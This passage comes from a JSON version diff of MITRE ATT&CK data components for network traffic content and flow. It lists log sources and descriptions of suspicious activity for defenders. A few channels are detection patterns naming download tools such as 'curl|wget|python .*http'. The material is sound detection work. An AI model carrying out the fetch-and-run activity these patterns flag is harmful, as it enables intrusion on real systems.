outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)" + }, + { + "name": "WIDS:AssociationLogs", + "channel": "Unauthorized AP or anomalous MAC address connection attempts" + }, + { + "name": "macos:unifiedlog", + "channel": "encrypted outbound traffic carrying unexpected application data" + }, + { + "name": "esxcli:network", + "channel": "listening sockets bound with non-standard encapsulated protocols" + }, + { + "name": "macos:unifiedlog", + "channel": "Persistent outbound connections with consistent periodicity" + }, + { + "name": "macos:unifiedlog", + "channel": "TLS connections with abnormal handshake sequence or self-signed cert" + }, + { + "name": "esxcli:network", + "channel": "Socket inspection showing RSA key exchange outside baseline endpoints" + }, + { + "name": "IDS:TLSInspection", + "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs" + }, + { + "name": "macos:unifiedlog", + "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound TLS connections to cloud storage providers" + }, + { + "name": "saas:box", + "channel": "API calls exceeding baseline thresholds" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to cloud storage APIs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer" + }, + { + "name": "etw:Microsoft-Windows-WinINet", + "channel": "WinINet API telemetry" + }, + { + "name": "macos:unifiedlog", + "channel": "process, network" + }, + { + "name": "NSM:Connections", + "channel": "Unusual POST requests to admin or upload endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious POSTs to upload endpoints" + }, + { + "name": "networkdevice:syslog", + "channel": "Authentication failures or unusual community string usage in SNMP queries" + }, + { + "name": "API:ConfigRepoAudit", + "channel": "Access to configuration repository endpoints, unusual enumeration requests or mass downloads" + }, + { + "name": "NSM:Content", + "channel": "Traffic on RPC DRSUAPI" + }, + { + "name": "macos:unifiedlog", + "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0085\", \"external_id\": \"DC0085\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"Process within container accesses link-local address 169.254.169.254\"}, {\"name\": \"WebProxy:AccessLogs\", \"channel\": \"SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log / xmpp.log (custom log feeds)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log or AMQP custom log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log, xmpp.log, amqp.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"ACL/Firewall rule modification or new route injection\"}, {\"name\": \"m365:office\", \"channel\": \"External HTTP/DNS connection from Office binary shortly after macro trigger\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP/UDP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP session tracking\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Captured packet payloads\"}, {\"name\": \"NSM:Flow\", \"channel\": \"session behavior\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"External C2 channel over TLS\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http/file-xfer: Inbound/outbound transfer of ELF shared objects\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, files.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"unexpected network activity initiated shortly after shell session starts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ssl.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SPAN or port-mirrored HTTP/S\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ssl.log, websocket.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process + network metrics correlation for bandwidth saturation\"}, {\"name\": \"docker:stats\", \"channel\": \"unusual network TX/RX byte deltas\"}, {\"name\": \"etw:Microsoft-Windows-WinINet\", \"channel\": \"HTTPS Inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log\"}, {\"name\": \"linux:syslog\", \"channel\": \"Query to suspicious domain with high entropy or low reputation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DNS query with pseudo-random subdomain patterns\"}, {\"name\": \"azure:vpcflow\", \"channel\": \"HTTP requests to 169.254.169.254 or Azure Metadata endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Browser connections to known C2 or dynamic DNS domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session History Reset\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP \"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network flow\"}, {\"name\": \"linux:syslog\", \"channel\": \"curl|wget|python .*http\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"curl|osascript.*open location\"}, {\"name\": \"NSM:Flow\", \"channel\": \"query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes\"}, {\"name\": \"etw:Microsoft-Windows-NDIS-PacketCapture\", \"channel\": \"TLS Handshake/Network Flow\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/TLS Logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem: com.apple.network\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected SQL or application log entries showing tampered or malformed data\"}, {\"name\": \"EDR:hunting\", \"channel\": \"Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious URL patterns, uncommon TLDs, URL shorteners\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open URL|clicked link|LSQuarantineAttach\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious GET/POST; downloader patterns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSH logins or scp activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote login and transfer\"}, {\"name\": \"esxi:vob\", \"channel\": \"NFS/remote access logs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Traffic between instances\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=5005 (WLAN), EventCode=302 (Bluetooth)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious long-lived or reattached remote desktop sessions from unexpected IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP payloads with SQLi/LFI/JNDI/deserialization indicators\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound egress from web host after suspicious request\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Requests towards cloud metadata or command & control from pod IPs\"}, {\"name\": \"ALB:HTTPLogs\", \"channel\": \"AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections to TCP 427 (SLP) or vCenter web services from untrusted sources\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/sFlow for odd egress to Internet from mgmt plane\"}, {\"name\": \"NSM:Flow\", \"channel\": \"packet capture or DPI logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SMB2_LOGOFF/SMB_TREE_DISCONNECT\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Connections to suspicious domains with mismatched certificate or unusual patterns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual Base64-encoded content in URI, headers, or POST body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Base64 strings or gzip in URI, headers, or POST body\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTP POST with encoded content in user-agent or cookie field\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Outbound traffic using encoded payloads post-login\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound to 22/5900/8080 and follow-on internal connections.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP body contains long Base64 sections\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: Base64/MIME looking payloads from ESXi host IP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LDAP Bind/Search\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LDAP Query\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream (subsystem: com.apple.system.networking)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smtp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smtp.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote CLI session detection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Encrypted connection with anomalous payload entropy\"}, {\"name\": \"esxcli:network\", \"channel\": \"Socket sessions with randomized payloads inconsistent with TLS\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Symmetric encryption detected without TLS handshake sequence\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ftp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"PCAP inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS POST requests to webhook endpoints\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS POST connections to webhook endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \\u2264TimeWindow by outbound SF from same host to src_ip.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound one-off packet to uncommon port \\u2192 outbound SF to same src_ip within TimeWindow.\"}, {\"name\": \"networkdevice:config\", \"channel\": \"NAT table modification (add/update/delete rule)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large upload to firmware interface port or path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Rapid incoming TLS handshakes or HTTP requests in quick succession\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)\"}, {\"name\": \"NSM:Connections\", \"channel\": \"TLS handshake + HTTP headers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log + http.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network, socket, and http logs\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"TLS/HTTP inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http/file-xfer: Outbound transfer of large video-like MIME types soon after capture\"}, {\"name\": \"container:proxy\", \"channel\": \"outbound/inbound network activity from spawned pods\"}, {\"name\": \"esxcli:network\", \"channel\": \"listening sockets bound to non-standard ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound SCP, TFTP, or FTP sessions carrying configuration file content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session Transfer Content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Captured File Content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"C2 exfiltration\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Transferred file observations\"}, {\"name\": \"apache:access_log\", \"channel\": \"Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::post: Outbound HTTP POST from host shortly after DB export activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot\"}, {\"name\": \"docker:events\", \"channel\": \"remote API calls to /containers/create or /containers/{id}/start\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::request: Network connection to package registry or C2 from interpreter shortly after install\"}, {\"name\": \"linux:syslog\", \"channel\": \"Integrity mismatch warnings or malformed packets detected\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::request: Outbound HTTP initiated by Python interpreter\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Outbound requests with forged tokens/cookies in headers\"}, {\"name\": \"linux:syslog\", \"channel\": \"DNS response IPs followed by connections to non-standard calculated ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DNS responses followed by connections to ports outside standard ranges\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Persistent outbound traffic to mining domains\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Encrypted session initiation by unexpected binary\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Inspection of sockets showing encrypted sessions from non-baseline processes\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Abnormal certificate chains or non-standard ports carrying TLS\"}, {\"name\": \"NSM:Flow\", \"channel\": \"DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS POST requests to text storage domains\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS POST connections to pastebin-like domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected ARP replies or DNS responses inconsistent with authoritative servers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TLS downgrade or inconsistent DNS answers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large volume of malformed or synthetic payloads to application endpoints prior to failure\"}, {\"name\": \"networkconfig \", \"channel\": \"interface flag PROMISC, netstat | ip link | ethtool\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage = 'promiscuous'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config change (e.g., logging buffered, pcap buffers)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound HTTPS connections to code repository APIs\"}, {\"name\": \"azure:activity\", \"channel\": \"networkInsightsLogs\"}, {\"name\": \"gcp:audit\", \"channel\": \"network.query*\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Defender/Operational\", \"channel\": \"Unusual external domain access\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log or http.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: suspicious long tokens with custom alphabets in body/headers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP bodies from ESXi host IPs containing long, non-standard tokens\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Egress to non-approved networks from host after terminal exec\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow/PCAP analysis for outbound payloads\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log + files.log + ssl.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage = 'open', 'sendto', 'connect'\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPS or custom protocol traffic with large payloads\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network stack module logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected script or binary content returned in HTTP response body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Injected content responses with unexpected script/malware signatures\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Content injection observed in HTTPS responses with mismatched certificates or altered payloads\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Anomalous TCP SYN or ACK spikes from specific source or interface\"}, {\"name\": \"saas:confluence\", \"channel\": \"REST API access from non-browser agents\"}, {\"name\": \"Netfilter/iptables\", \"channel\": \"Forwarded packets log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Relay patterns across IP hops\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound encrypted traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ldap.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dns-sd, mDNSResponder, socket activity\"}, {\"name\": \"networkdevice:IDS\", \"channel\": \"content inspection / PCAP / HTTP body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Probe responses from unauthorized APs responding to client probe requests\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"setsockopt, ioctl modifying ARP entries\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Excessive gratuitous ARP replies on local subnet\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound HTTP POST with suspicious payload size or user-agent\"}, {\"name\": \"NSM:Flow\", \"channel\": \"POST requests to .php, .jsp, .aspx files with high entropy body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns.log\"}, {\"name\": \"NSM:FLow\", \"channel\": \"dns.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Encrypted tunnels or proxy traffic to non-standard destinations\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Suspicious traffic filtered or redirected by VM networking stack\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large transfer from management IPs to unauthorized host\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, smb_files.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mirror/SPAN port\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, conn.log, smb_files.log\"}, {\"name\": \"linux:syslog\", \"channel\": \"Multiple NXDOMAIN responses and high entropy domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSL/TLS Inspection or PCAP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, ssl.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process + network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http, dns, smb, ssl logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns, ssl, conn\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, http.log, dns.log, ssl.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ICMP/UDP traffic (Wireshark, Suricata, Zeek)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"icmp.log, weird.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMCI syslog entries\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"ICMP/UDP protocol anomaly\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"DHCP OFFER or ACK with unauthorized DNS/gateway parameters\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple DHCP OFFER responses for a single DISCOVER\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSL/TLS Handshake Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP Header Metadata\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Network Capture TLS/HTTP\"}, {\"name\": \"NSM:Content\", \"channel\": \"SSL Certificate Metadata\"}, {\"name\": \"NSM:Content\", \"channel\": \"HTTP Header Metadata\"}, {\"name\": \"NSM:Content\", \"channel\": \"TLS Fingerprint and Certificate Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"container egress to unknown IPs/domains\"}, {\"name\": \"gcp:vpcflow\", \"channel\": \"first 5m egress to unknown ASNs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP Request Logging\"}, {\"name\": \"WinEventLog:iis\", \"channel\": \"IIS Logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.WebKit\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssh connections originating from third-party CIDRs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssh/smb connections to internal resources from third-party devices\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"host switch egress data\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound HTTP/S\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem: com.apple.WebKit or com.apple.WebKit.Networking\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log - Certificate Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log, x509.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\\u00d76 + 16\\u00d7MAC)\"}, {\"name\": \"WIDS:AssociationLogs\", \"channel\": \"Unauthorized AP or anomalous MAC address connection attempts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"encrypted outbound traffic carrying unexpected application data\"}, {\"name\": \"esxcli:network\", \"channel\": \"listening sockets bound with non-standard encapsulated protocols\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Persistent outbound connections with consistent periodicity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"TLS connections with abnormal handshake sequence or self-signed cert\"}, {\"name\": \"esxcli:network\", \"channel\": \"Socket inspection showing RSA key exchange outside baseline endpoints\"}, {\"name\": \"IDS:TLSInspection\", \"channel\": \"Malformed certs, incomplete asymmetric handshakes, or invalid CAs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Web server process initiating outbound TCP connections not tied to normal server traffic\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound TLS connections to cloud storage providers\"}, {\"name\": \"saas:box\", \"channel\": \"API calls exceeding baseline thresholds\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound HTTPS connections to cloud storage APIs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"High volume internal-to-internal IP transfer or cross-account cloud transfer\"}, {\"name\": \"etw:Microsoft-Windows-WinINet\", \"channel\": \"WinINet API telemetry\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process, network\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Unusual POST requests to admin or upload endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious POSTs to upload endpoints\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Authentication failures or unusual community string usage in SNMP queries\"}, {\"name\": \"API:ConfigRepoAudit\", \"channel\": \"Access to configuration repository endpoints, unusual enumeration requests or mass downloads\"}, {\"name\": \"NSM:Content\", \"channel\": \"Traffic on RPC DRSUAPI\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process = 'ssh' OR eventMessage CONTAINS 'ssh'\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.343000+00:00\", \"old_value\": \"2025-04-18 15:11:16.672000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.703000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0078", + "external_id": "DC0078" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic Flow", + "description": "Summarized network packet data that captures session-level details such as source/destination IPs, ports, protocol types, timestamps, and data volume, without storing full packet payloads. This is commonly used for traffic analysis, anomaly detection, and network performance monitoring.\n\n*Data Collection Measures:*\n\n- Network Flow Logs (Metadata Collection)\n - NetFlow \n - Summarized metadata for network conversations (no packet payloads).\n - sFlow (Sampled Flow Logging)\n - Captures sampled packets from switches and routers.\n - Used for real-time traffic monitoring and anomaly detection.\n - Zeek (Bro) Flow Logs\n - Zeek logs session-level details in logs like conn.log, http.log, dns.log, etc.\n- Host-Based Collection\n - Sysmon Event ID 3 \u2013 Network Connection Initiated\n - Logs process-level network activity, useful for detecting malicious outbound connections.\n - AuditD (Linux) \u2013 syscall=connect\n - Monitors system calls for network connections. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Flow Monitoring\n - AWS VPC Flow Logs\n - Captures metadata for traffic between EC2 instances, security groups, and internet gateways.\n - Azure NSG Flow Logs / Google VPC Flow Logs\n - Logs ingress/egress traffic for cloud-based resources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected flows between segmented networks or prohibited ports" + }, + { + "name": "snmp:config", + "channel": "Configuration change traps or policy enforcement failures" + }, + { + "name": "NSM:Flow", + "channel": "First-time outbound connections to package registries or unknown hosts immediately after restore/build" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to new registries/CDNs post-install/build" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to non-approved registries after dependency install" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets" + }, + { + "name": "NSM:Flow", + "channel": "large outbound data flows or long-duration connections" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "egress > 90th percentile or frequent connection reuse" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect" + }, + { + "name": "esxi:syslog", + "channel": "esxcli network vswitch or DNS resolver configuration updates" + }, + { + "name": "esxi:vobd", + "channel": "Network Events" + }, + { + "name": "iptables:LOG", + "channel": "TCP connections" + }, + { + "name": "NSM:Flow", + "channel": "connection metadata" + }, + { + "name": "wineventlog:dhcp", + "channel": "DHCP Lease Granted" + }, + { + "name": "NSM:Flow", + "channel": "LEASE_GRANTED" + }, + { + "name": "NSM:Flow", + "channel": "MAC not in allow-list acquiring IP (DHCP)" + }, + { + "name": "Windows Firewall Log", + "channel": "SMB over high port" + }, + { 